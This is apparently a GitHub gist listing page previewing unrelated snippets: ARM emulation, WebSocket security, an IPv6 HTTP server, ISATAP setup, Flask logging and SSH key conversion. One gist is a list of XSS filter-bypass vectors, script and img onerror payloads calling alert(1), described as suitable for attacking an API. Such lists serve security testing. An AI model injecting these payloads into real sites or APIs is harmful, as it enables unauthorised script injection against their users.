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@Liryna
Liryna / ARMDebianUbuntu.md
Last active May 15, 2025 21:34
Emulating ARM on Debian/Ubuntu

You might want to read this to get an introduction to armel vs armhf.

If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.

Running ARM programs under linux (without starting QEMU VM!)

First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux

@subudeepak
subudeepak / WebSockets.md
Last active December 4, 2024 13:36
The problems and some security implications of websockets - Cross-site WebSockets Scripting (XSWS)

WebSockets - An Introduction

WebSockets is a modern HTML5 standard which makes communication between client and server a lot more simpler than ever. We are all familiar with the technology of sockets. Sockets have been fundamental to network communication for a long time but usually the communication over the browser has been restricted. The general restrictions

  • The server used to have a permanent listener while the client (aka browser) was not designated any fixed listener for a more long term connection. Hence, every communication was restricted to the client demanding and the server responding.
  • This meant that unless the client requested for a particular resource, the server was unable to push such a resource to the client.
  • This was detrimental since the client is then forced to check with the server at regular intervals. This meant a lot of libraries focused on optimizing asynchronous calls and identifying the response of asynchronous calls. Notably t
@akorobov
akorobov / ipv6-httpd.py
Created December 11, 2013 00:58
quick ipv6 http server using python's SimpleHttpServer
import socket
from BaseHTTPServer import HTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
class MyHandler(SimpleHTTPRequestHandler):
def do_GET(self):
if self.path == '/ip':
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
@blahgeek
blahgeek / isatap.fish
Created September 17, 2013 10:43
ISATAP config for Mac OS X. Works either with or without NAT. (fish script)
#!/usr/loca/bin/fish
function isatap
set REMOTE_IP 166.111.21.1
set LINK_PREFIX "fe80::200:5efe"
set GLOBAL_PREFIX "2402:f000:1:1501:200:5efe"
if sudo ifconfig gif0 destroy
echo "Previous gif0 destroyed"
end
@JohannesHoppe
JohannesHoppe / 666_lines_of_XSS_vectors.html
Created May 20, 2013 13:38
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@ibeex
ibeex / foo.log
Created August 4, 2012 13:46
Flask logging example
A warning occurred (42 apples)
An error occurred
@yosemitebandit
yosemitebandit / openpyxl-install-with-pip
Created June 4, 2012 17:42
reading xlsx files in python with openpyxl
$ pip install -E ~/conf/virtualenvs/xyuml https://bitbucket.org/ericgazoni/openpyxl/get/1.5.8.zip
@thwarted
thwarted / sshpub-to-rsa
Created June 14, 2011 09:12
converts an openssh RSA public key into a format usable by openssl rsautl (if you don't have openssh 5.6 or later with ssh-keygen PEM export format)
#!/usr/bin/env python
# with help and inspiration from
# * ASN1_generate_nconf(3) (specifically the SubjectPublicKeyInfo structure)
# * http://www.sysmic.org/dotclear/index.php?post/2010/03/24/Convert-keys-betweens-GnuPG%2C-OpenSsh-and-OpenSSL
# * http://blog.oddbit.com/2011/05/converting-openssh-public-keys.html
import sys
import base64
import struct